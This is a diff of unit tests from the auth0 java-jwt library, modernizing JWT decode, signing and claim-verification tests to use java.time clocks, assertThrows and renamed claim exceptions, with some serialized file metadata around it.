     private DecodedJWT customJWT(String jsonHeader, String jsonPayload, String signature) {u}(jG  (b9f56a2e6dbd7f61f99cb29f444059884a867e50j  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj  modifiedj  K.j  KKj  Kyj  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X9@  @@ -1,57 +1,52 @@
 package com.auth0.jwt;
 
 import com.auth0.jwt.algorithms.Algorithm;
-import com.auth0.jwt.interfaces.Clock;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
-import org.hamcrest.core.IsCollectionContaining;
+import org.hamcrest.core.IsIterableContaining;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
 import java.nio.charset.StandardCharsets;
 import java.security.interfaces.ECKey;
-import java.security.interfaces.ECPrivateKey;
-import java.security.interfaces.ECPublicKey;
 import java.security.interfaces.RSAKey;
+import java.time.Clock;
+import java.time.Instant;
+import java.time.ZoneId;
 import java.util.Base64;
 import java.util.Date;
 
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
 
 public class JWTTest {
 
     private static final String PUBLIC_KEY_FILE_RSA = "src/test/resources/rsa-public.pem";
     private static final String PRIVATE_KEY_FILE_RSA = "src/test/resources/rsa-private.pem";
 
     private static final String PUBLIC_KEY_FILE_EC_256 = "src/test/resources/ec256-key-public.pem";
-    private static final String PUBLIC_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-public.pem";
     private static final String PUBLIC_KEY_FILE_EC_384 = "src/test/resources/ec384-key-public.pem";
     private static final String PUBLIC_KEY_FILE_EC_512 = "src/test/resources/ec512-key-public.pem";
     private static final String PRIVATE_KEY_FILE_EC_256 = "src/test/resources/ec256-key-private.pem";
-    private static final String PRIVATE_KEY_FILE_EC_256K = "src/test/resources/ec256k-key-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_384 = "src/test/resources/ec384-key-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_512 = "src/test/resources/ec512-key-private.pem";
 
-
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
     // Decode
 
     @Test
-    public void shouldDecodeAStringToken() throws Exception {
+    public void shouldDecodeAStringToken() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         DecodedJWT jwt = JWT.decode(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldDecodeAStringTokenUsingInstance() throws Exception {
+    public void shouldDecodeAStringTokenUsingInstance() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         JWT jwt = new JWT();
         DecodedJWT decodedJWT = jwt.decodeJwt(token);
@@ -61,7 +56,7 @@ public void shouldDecodeAStringTokenUsingInstance() throws Exception {
 
     // getToken
     @Test
-    public void shouldGetStringToken() throws Exception {
+    public void shouldGetStringToken() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getToken(), is(notNullValue()));
@@ -70,7 +65,7 @@ public void shouldGetStringToken() throws Exception {
 
     // getToken
     @Test
-    public void shouldGetStringTokenUsingInstance() throws Exception {
+    public void shouldGetStringTokenUsingInstance() {
         JWT jwt = new JWT();
         DecodedJWT decodedJWT = jwt.decodeJwt("eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ");
         assertThat(decodedJWT, is(notNullValue()));
@@ -93,7 +88,7 @@ public void shouldVerifyDecodedToken() throws Exception {
     }
 
     @Test
-    public void shouldAcceptNoneAlgorithm() throws Exception {
+    public void shouldAcceptNoneAlgorithm() {
         String token = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhdXRoMCJ9.";
         DecodedJWT jwt = JWT.require(Algorithm.none())
                 .build()
@@ -103,7 +98,7 @@ public void shouldAcceptNoneAlgorithm() throws Exception {
     }
 
     @Test
-    public void shouldAcceptHMAC256Algorithm() throws Exception {
+    public void shouldAcceptHMAC256Algorithm() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -113,7 +108,7 @@ public void shouldAcceptHMAC256Algorithm() throws Exception {
     }
 
     @Test
-    public void shouldAcceptHMAC384Algorithm() throws Exception {
+    public void shouldAcceptHMAC384Algorithm() {
         String token = "eyJhbGciOiJIUzM4NCIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.uztpK_wUMYJhrRv8SV-1LU4aPnwl-EM1q-wJnqgyb5DHoDteP6lN_gE1xnZJH5vw";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC384("secret"))
                 .build()
@@ -123,7 +118,7 @@ public void shouldAcceptHMAC384Algorithm() throws Exception {
     }
 
     @Test
-    public void shouldAcceptHMAC512Algorithm() throws Exception {
+    public void shouldAcceptHMAC512Algorithm() {
         String token = "eyJhbGciOiJIUzUxMiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.VUo2Z9SWDV-XcOc_Hr6Lff3vl7L9e5Vb8ThXpmGDFjHxe3Dr1ZBmUChYF-xVA7cAdX1P_D4ZCUcsv3IefpVaJw";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC512("secret"))
                 .build()
@@ -202,10 +197,10 @@ public void shouldAcceptECDSA512Algorithm() throws Exception {
     }
 
 
-    // Public Claims
+    // Standard Claims
 
     @Test
-    public void shouldGetAlgorithm() throws Exception {
+    public void shouldGetAlgorithm() {
         String token = "eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -216,7 +211,7 @@ public void shouldGetAlgorithm() throws Exception {
     }
 
     @Test
-    public void shouldGetSignature() throws Exception {
+    public void shouldGetSignature() {
         String token = "eyJhbGciOiJIUzI1NiJ9.e30.XmNK3GpH3Ys_7wsYBfq4C3M6goz71I7dTgUkuIa5lyQ";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -227,7 +222,7 @@ public void shouldGetSignature() throws Exception {
     }
 
     @Test
-    public void shouldGetIssuer() throws Exception {
+    public void shouldGetIssuer() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJKb2huIERvZSJ9.SgXosfRR_IwCgHq5lF3tlM-JHtpucWCRSaVuoHTbWbQ";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -238,7 +233,7 @@ public void shouldGetIssuer() throws Exception {
     }
 
     @Test
-    public void shouldGetSubject() throws Exception {
+    public void shouldGetSubject() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJUb2szbnMifQ.RudAxkslimoOY3BLl2Ghny3BrUKu9I1ZrXzCZGDJtNs";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -249,34 +244,33 @@ public void shouldGetSubject() throws Exception {
     }
 
     @Test
-    public void shouldGetArrayAudience() throws Exception {
+    public void shouldGetArrayAudience() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiSG9wZSIsIlRyYXZpcyIsIlNvbG9tb24iXX0.Tm4W8WnfPjlmHSmKFakdij0on2rWPETpoM7Sh0u6-S4";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(3)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Hope", "Travis", "Solomon")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Hope", "Travis", "Solomon")));
     }
 
     @Test
-    public void shouldGetStringAudience() throws Exception {
+    public void shouldGetStringAudience() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJKYWNrIFJleWVzIn0.a4I9BBhPt1OB1GW67g2P1bEHgi6zgOjGUL4LvhE9Dgc";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getAudience(), is(IsCollectionWithSize.hasSize(1)));
-        assertThat(jwt.getAudience(), is(IsCollectionContaining.hasItems("Jack Reyes")));
+        assertThat(jwt.getAudience(), is(IsIterableContaining.hasItems("Jack Reyes")));
     }
 
     @Test
-    public void shouldGetExpirationTime() throws Exception {
-        Date expectedDate = new Date(1477592 * 1000);
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(expectedDate);
+    public void shouldGetExpirationTime() {
+        long seconds = 1477592L;
+        Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0Nzc1OTJ9.x_ZjkPkKYUV5tdvc0l8go6D_z2kez1MQcOxokXrDc3k";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
@@ -285,16 +279,15 @@ public void shouldGetExpirationTime() throws Exception {
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(instanceOf(Date.class)));
-        assertThat(jwt.getExpiresAt(), is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getExpiresAt(), is(equalTo(new Date(seconds * 1000))));
+        assertThat(jwt.getExpiresAtAsInstant(), is(equalTo(Instant.ofEpochSecond(seconds))));
+
     }
 
     @Test
-    public void shouldGetNotBefore() throws Exception {
-        Date expectedDate = new Date(1477592 * 1000);
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(expectedDate);
+    public void shouldGetNotBefore() {
+        long seconds = 1477592;
+        Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0Nzc1OTJ9.mWYSOPoNXstjKbZkKrqgkwPOQWEx3F3gMm6PMcfuJd8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
@@ -303,16 +296,14 @@ public void shouldGetNotBefore() throws Exception {
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(instanceOf(Date.class)));
-        assertThat(jwt.getNotBefore(), is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(equalTo(expectedDate)));
+        assertThat(jwt.getNotBefore(), is(equalTo(new Date(seconds * 1000))));
+        assertThat(jwt.getNotBeforeAsInstant(), is(equalTo(Instant.ofEpochSecond(seconds))));
     }
 
     @Test
-    public void shouldGetIssuedAt() throws Exception {
-        Date expectedDate = new Date(1477592 * 1000);
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(expectedDate);
+    public void shouldGetIssuedAt() {
+        long seconds = 1477592;
+        Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.5o1CKlLFjKKcddZzoarQ37pq7qZqNPav3sdZ_bsZaD4";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
@@ -321,13 +312,12 @@ public void shouldGetIssuedAt() throws Exception {
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(instanceOf(Date.class)));
-        assertThat(jwt.getIssuedAt(), is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getIssuedAt(), is(equalTo(new Date(seconds * 1000))));
+        assertThat(jwt.getIssuedAtAsInstant(), is(equalTo(Instant.ofEpochSecond(seconds))));
     }
 
     @Test
-    public void shouldGetId() throws Exception {
+    public void shouldGetId() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiIxMjM0NTY3ODkwIn0.m3zgEfVUFOd-CvL3xG5BuOWLzb0zMQZCqiVNQQOPOvA";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
@@ -339,7 +329,7 @@ public void shouldGetId() throws Exception {
     }
 
     @Test
-    public void shouldGetContentType() throws Exception {
+    public void shouldGetContentType() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6ImF3ZXNvbWUifQ.e30.AIm-pJDOaAyct9qKMlN-lQieqNDqc3d4erqUZc5SHAs";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -350,7 +340,7 @@ public void shouldGetContentType() throws Exception {
     }
 
     @Test
-    public void shouldGetType() throws Exception {
+    public void shouldGetType() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.e30.WdFmrzx8b9v_a-r6EHC2PTAaWywgm_8LiP8RBRhYwkI";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -361,7 +351,7 @@ public void shouldGetType() throws Exception {
     }
 
     @Test
-    public void shouldGetKeyId() throws Exception {
+    public void shouldGetKeyId() {
         String token = "eyJhbGciOiJIUzI1NiIsImtpZCI6ImtleSJ9.e30.von1Vt9tq9cn5ZYdX1f4cf2EE7fUvb5BCBlKOTm9YWs";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -372,7 +362,7 @@ public void shouldGetKeyId() throws Exception {
     }
 
     @Test
-    public void shouldGetCustomClaims() throws Exception {
+    public void shouldGetCustomClaims() {
         String token = "eyJhbGciOiJIUzI1NiIsImlzQWRtaW4iOnRydWV9.eyJpc0FkbWluIjoibm9wZSJ9.YDKBAgUDbh0PkhioDcLNzdQ8c2Gdf_yS6zdEtJQS3F0";
         DecodedJWT jwt = JWT.require(Algorithm.HMAC256("secret"))
                 .build()
@@ -388,7 +378,7 @@ public void shouldGetCustomClaims() throws Exception {
     // Sign
 
     @Test
-    public void shouldCreateAnEmptyHMAC256SignedToken() throws Exception {
+    public void shouldCreateAnEmptyHMAC256SignedToken() {
         String signed = JWT.create().sign(Algorithm.HMAC256("secret"));
         assertThat(signed, is(notNullValue()));
 
@@ -404,7 +394,7 @@ public void shouldCreateAnEmptyHMAC256SignedToken() throws Exception {
     }
 
     @Test
-    public void shouldCreateAnEmptyHMAC384SignedToken() throws Exception {
+    public void shouldCreateAnEmptyHMAC384SignedToken() {
         String signed = JWT.create().sign(Algorithm.HMAC384("secret"));
         assertThat(signed, is(notNullValue()));
 
@@ -420,7 +410,7 @@ public void shouldCreateAnEmptyHMAC384SignedToken() throws Exception {
     }
 
     @Test
-    public void shouldCreateAnEmptyHMAC512SignedToken() throws Exception {
+    public void shouldCreateAnEmptyHMAC512SignedToken() {
         String signed = JWT.create().sign(Algorithm.HMAC512("secret"));
         assertThat(signed, is(notNullValue()));
 
@@ -499,25 +489,6 @@ public void shouldCreateAnEmptyECDSA256SignedToken() throws Exception {
         assertThat(verified, is(notNullValue()));
     }
 
-    @Test
-    public void shouldCreateAnEmptyECDSA256KSignedToken() throws Exception {
-        ECPublicKey publicKey = (ECPublicKey) PemUtils.readPublicKeyFromFile(PUBLIC_KEY_FILE_EC_256K, "EC");
-        ECPrivateKey privateKey = (ECPrivateKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_256K, "EC");
-
-        String signed = JWT.create().sign(Algorithm.ECDSA256K(publicKey, privateKey));
-        assertThat(signed, is(notNullValue()));
-
-        String[] parts = signed.split("\\.");
-        String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry("alg", "ES256K"));
-        assertThat(headerJson, JsonMatcher.hasEntry("typ", "JWT"));
-        assertThat(parts[1], is("e30"));
-
-        JWTVerifier verified = JWT.require(Algorithm.ECDSA256K(publicKey, privateKey))
-                .build();
-        assertThat(verified, is(notNullValue()));
-    }
-
     @Test
     public void shouldCreateAnEmptyECDSA384SignedToken() throws Exception {
         String signed = JWT.create().sign(Algorithm.ECDSA384((ECKey) PemUtils.readPrivateKeyFromFile(PRIVATE_KEY_FILE_EC_384, "EC")));u}(jG  (6d8ba20196765ae92f9f86376c22a944118c7bedj  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj  modifiedj  Myj  Mj  M7j  https://github.com/auth0/java-jwt/blob/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://github.com/auth0/java-jwt/raw/4b64d9ee8977d9c32b55eac2dfc59f7775cde187/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=4b64d9ee8977d9c32b55eac2dfc59f7775cde187j  X" @@ -1,56 +1,71 @@
 package com.auth0.jwt;
 
 import com.auth0.jwt.algorithms.Algorithm;
-import com.auth0.jwt.exceptions.AlgorithmMismatchException;
-import com.auth0.jwt.exceptions.InvalidClaimException;
-import com.auth0.jwt.exceptions.TokenExpiredException;
-import com.auth0.jwt.interfaces.Clock;
+import com.auth0.jwt.exceptions.*;
+import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
+import java.time.Clock;
+import java.time.Duration;
+import java.time.Instant;
+import java.time.ZoneId;
 import java.util.Collections;
 import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
+import java.util.function.BiPredicate;
 
-import static org.hamcrest.Matchers.startsWith;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
-import static org.mockito.Mockito.*;
+import static org.junit.Assert.assertThrows;
+import static org.mockito.Mockito.mock;
 
 public class JWTVerifierTest {
 
-    private static final long DATE_TOKEN_MS_VALUE = 1477592 * 1000;
+    private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));
+    private final Clock mockOneSecondEarlier = Clock.offset(mockNow, Duration.ofSeconds(-1));
+    private final Clock mockOneSecondLater = Clock.offset(mockNow, Duration.ofSeconds(1));
+
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
     @Test
-    public void shouldThrowWhenInitializedWithoutAlgorithm() throws Exception {
-        exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("The Algorithm cannot be null");
-        JWTVerifier.init(null);
+    public void shouldThrowWhenInitializedWithoutAlgorithm() {
+        IllegalArgumentException e = assertThrows(null, IllegalArgumentException.class, () ->
+                JWTVerifier.init(null));
+        assertThat(e.getMessage(), is("The Algorithm cannot be null."));
     }
 
     @Test
-    public void shouldThrowWhenAlgorithmDoesntMatchTheTokensAlgorithm() throws Exception {
-        exception.expect(AlgorithmMismatchException.class);
-        exception.expectMessage("The provided Algorithm doesn't match the one defined in the JWT's Header.");
-        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC512("secret")).build();
-        verifier.verify("eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCJ9.s69x7Mmu4JqwmdxiK6sesALO7tcedbFsKEEITUxw9ho");
+    public void shouldThrowWhenAlgorithmDoesntMatchTheTokensAlgorithm() {
+        AlgorithmMismatchException e = assertThrows(null, AlgorithmMismatchException.class, () -> {
+            JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC512("secret")).build();
+            verifier.verify("eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCJ9.s69x7Mmu4JqwmdxiK6sesALO7tcedbFsKEEITUxw9ho");
+        });
+        assertThat(e.getMessage(), is("The provided Algorithm doesn't match the one defined in the JWT's Header."));
     }
 
     @Test
-    public void shouldValidateIssuer() throws Exception {
+    public void shouldValidateIssuer() {
         String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withIssuer("auth0")
                 .build()
                 .verify(token);
-
         assertThat(jwt, is(notNullValue()));
+
+        //  "iss": ["auth0", "okta"]
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, ()-> {
+            String token1 = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withIssuer((String[]) null)
+                    .build()
+                    .verify(token1);
+        });
+
+        assertThat(e.getClaimName(), is("iss"));
     }
 
     @Test
@@ -66,30 +81,50 @@ public void shouldValidateMultipleIssuers() {
     }
 
     @Test
-    public void shouldThrowOnInvalidIssuer() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
-        String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withIssuer("invalid")
-                .build()
-                .verify(token);
+    public void shouldThrowOnInvalidIssuer() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withIssuer("invalid")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'iss' value doesn't match the required issuer."));
+        assertThat(e.getClaimName(), is(RegisteredClaims.ISSUER));
+        assertThat(e.getClaimValue().asString(), is("auth0"));
+    }
+
+    @Test
+    public void shouldThrowOnNullIssuer() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOm51bGx9.OoiCLipSfflWxkFX2rytvtwEiJ8eAL0opkdXY_ap0qA";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withIssuer("auth0")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'iss' value doesn't match the required issuer."));
+        assertThat(e.getClaimName(), is(RegisteredClaims.ISSUER));
+        assertThat(e.getClaimValue().isNull(), is(true));
     }
 
     @Test
-    public void shouldThrowOnNullIssuer() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
+    public void shouldThrowOnMissingIssuer() {
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .sign(Algorithm.HMAC256("secret"));
 
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.e30.t-IDcSemACt8x4iTMCda8Yhe3iZaWbvV5XKSTbuAn0M";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withIssuer("auth0")
-                .build()
-                .verify(token);
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withIssuer("nope")
+                    .build()
+                    .verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'iss' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("iss"));
     }
 
     @Test
-    public void shouldValidateSubject() throws Exception {
+    public void shouldValidateSubject() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .withSubject("1234567890")
@@ -100,18 +135,21 @@ public void shouldValidateSubject() throws Exception {
     }
 
     @Test
-    public void shouldThrowOnInvalidSubject() throws Exception {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'sub' value doesn't match the required one.");
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withSubject("invalid")
-                .build()
-                .verify(token);
+    public void shouldThrowOnInvalidSubject() {
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withSubject("invalid")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'sub' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is(RegisteredClaims.SUBJECT));
+        assertThat(e.getClaimValue().asString(), is("1234567890"));
     }
 
     @Test
-    public void shouldAcceptAudienceWhenWithAudienceContainsAll() throws Exception {
+    public void shouldAcceptAudienceWhenWithAudienceContainsAll() {
         // Token 'aud': ["Mark"]
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJNYXJrIn0.xWB6czYI0XObbVhLAxe55TwChWZg7zO08RxONWU2iY4";
         DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret"))
@@ -146,10 +184,10 @@ public void shouldAllowWithAnyOfAudienceVerificationToOverrideWithAudience() {
         }
 
         assertThat(exception, is(notNullValue()));
-        assertThat(exception, is(instanceOf(InvalidClaimException.class)));
+        assertThat(exception, is(instanceOf(IncorrectClaimException.class)));
         assertThat(exception.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
 
-        DecodedJWT jwt = verification.withAnyOfAudience("Mark", "Jim").build().verify(token);
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret")).withAnyOfAudience("Mark", "Jim").build().verify(token);
         assertThat(jwt, is(notNullValue()));
     }
 
@@ -168,15 +206,15 @@ public void shouldAllowWithAudienceVerificationToOverrideWithAnyOfAudience() {
         }
 
         assertThat(exception, is(notNullValue()));
-        assertThat(exception, is(instanceOf(InvalidClaimException.class)));
+        assertThat(exception, is(instanceOf(IncorrectClaimException.class)));
         assertThat(exception.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
 
-        DecodedJWT jwt = verification.withAudience("Mark").build().verify(token);
+        DecodedJWT jwt = JWTVerifier.init(Algorithm.HMAC256("secret")).withAudience("Mark").build().verify(token);
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldAcceptAudienceWhenWithAudienceAndPartialExpected() throws Exception {
+    public void shouldAcceptAudienceWhenWithAudienceAndPartialExpected() {
         // Token 'aud' = ["Mark", "David", "John"]
         String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
         DecodedJWT jwtArr = JWTVerifier.init(Algorithm.HMAC256("secret"))
@@ -201,261 +239,210 @@ public void shouldAcceptAudienceWhenAnyOfAudienceAndAllContained() {
 
     @Test
     public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
-        exception.expect(InvalidClaimException.class);
-        exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
-
-        // Token 'aud' = ["Mark", "David", "John"]
